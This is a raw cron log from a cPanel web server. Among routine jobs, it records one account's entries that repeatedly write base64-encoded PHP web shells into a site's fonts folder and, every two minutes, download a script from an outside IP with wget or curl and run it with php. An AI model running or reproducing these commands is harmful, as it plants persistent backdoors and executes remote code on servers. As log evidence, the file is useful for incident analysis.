Sep  6 05:23:01 ip-184-168-122-23 CROND[19416]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 05:24:01 ip-184-168-122-23 CROND[19574]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  6 05:24:01 ip-184-168-122-23 CROND[19575]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 05:24:01 ip-184-168-122-23 CROND[19578]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 05:24:01 ip-184-168-122-23 CROND[19580]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 05:24:01 ip-184-168-122-23 CROND[19579]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 05:25:01 ip-184-168-122-23 CROND[19704]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 05:25:01 ip-184-168-122-23 CROND[19706]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 05:25:01 ip-184-168-122-23 CROND[19707]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 05:25:01 ip-184-168-122-23 CROND[19709]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  6 05:25:01 ip-184-168-122-23 CROND[19711]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  6 05:25:01 ip-184-168-122-23 CROND[19710]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 05:26:01 ip-184-168-122-23 CROND[19814]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 05:26:01 ip-184-168-122-23 CROND[19816]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 05:26:01 ip-184-168-122-23 CROND[19819]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  6 05:26:01 ip-184-168-122-23 CROND[19818]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 05:26:01 ip-184-168-122-23 CROND[19817]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 05:27:01 ip-184-168-122-23 CROND[19906]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 05:27:01 ip-184-168-122-23 CROND[19908]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 05:27:01 ip-184-168-122-23 CROND[19909]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 05:27:01 ip-184-168-122-23 CROND[19907]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 05:28:01 ip-184-168-122-23 CROND[19988]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  6 05:28:01 ip-184-168-122-23 CROND[19990]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 05:28:01 ip-184-168-122-23 CROND[19992]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 05:28:01 ip-184-168-122-23 CROND[19994]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 05:28:01 ip-184-168-122-23 CROND[19993]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 05:29:01 ip-184-168-122-23 CROND[20092]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 05:29:01 ip-184-168-122-23 CROND[20095]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 05:29:01 ip-184-168-122-23 CROND[20094]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 05:29:01 ip-184-168-122-23 CROND[20096]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 05:30:01 ip-184-168-122-23 CROND[20248]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  6 05:30:01 ip-184-168-122-23 CROND[20249]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  6 05:30:01 ip-184-168-122-23 CROND[20251]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 05:30:01 ip-184-168-122-23 CROND[20260]: (root) CMD (/usr/local/cpanel/scripts/optimize_eximstats > /dev/null 2>&1)
Sep  6 05:30:01 ip-184-168-122-23 CROND[20261]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  6 05:30:01 ip-184-168-122-23 CROND[20265]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 05:30:01 ip-184-168-122-23 CROND[20264]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  6 05:30:01 ip-184-168-122-23 CROND[20266]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 05:30:01 ip-184-168-122-23 CROND[20268]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 05:31:01 ip-184-168-122-23 CROND[20416]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 05:31:01 ip-184-168-122-23 CROND[20418]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 05:31:01 ip-184-168-122-23 CROND[20420]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  6 05:31:01 ip-184-168-122-23 CROND[20422]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 05:31:01 ip-184-168-122-23 CROND[20421]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 05:32:01 ip-184-168-122-23 CROND[20498]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 05:32:01 ip-184-168-122-23 CROND[20501]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  6 05:32:01 ip-184-168-122-23 CROND[20499]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 05:32:01 ip-184-168-122-23 CROND[20502]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 05:32:01 ip-184-168-122-23 CROND[20500]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 05:33:01 ip-184-168-122-23 CROND[20607]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 05:33:01 ip-184-168-122-23 CROND[20608]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 05:33:01 ip-184-168-122-23 CROND[20609]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 05:33:01 ip-184-168-122-23 CROND[20610]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 05:34:01 ip-184-168-122-23 CROND[20708]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 05:34:01 ip-184-168-122-23 CROND[20713]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 05:34:01 ip-184-168-122-23 CROND[20711]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  6 05:34:01 ip-184-168-122-23 CROND[20712]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 05:34:01 ip-184-168-122-23 CROND[20714]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 05:35:01 ip-184-168-122-23 CROND[20912]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 05:35:01 ip-184-168-122-23 CROND[20916]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  6 05:35:01 ip-184-168-122-23 CROND[20914]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 05:35:01 ip-184-168-122-23 CROND[20915]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  6 05:35:02 ip-184-168-122-23 CROND[20919]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
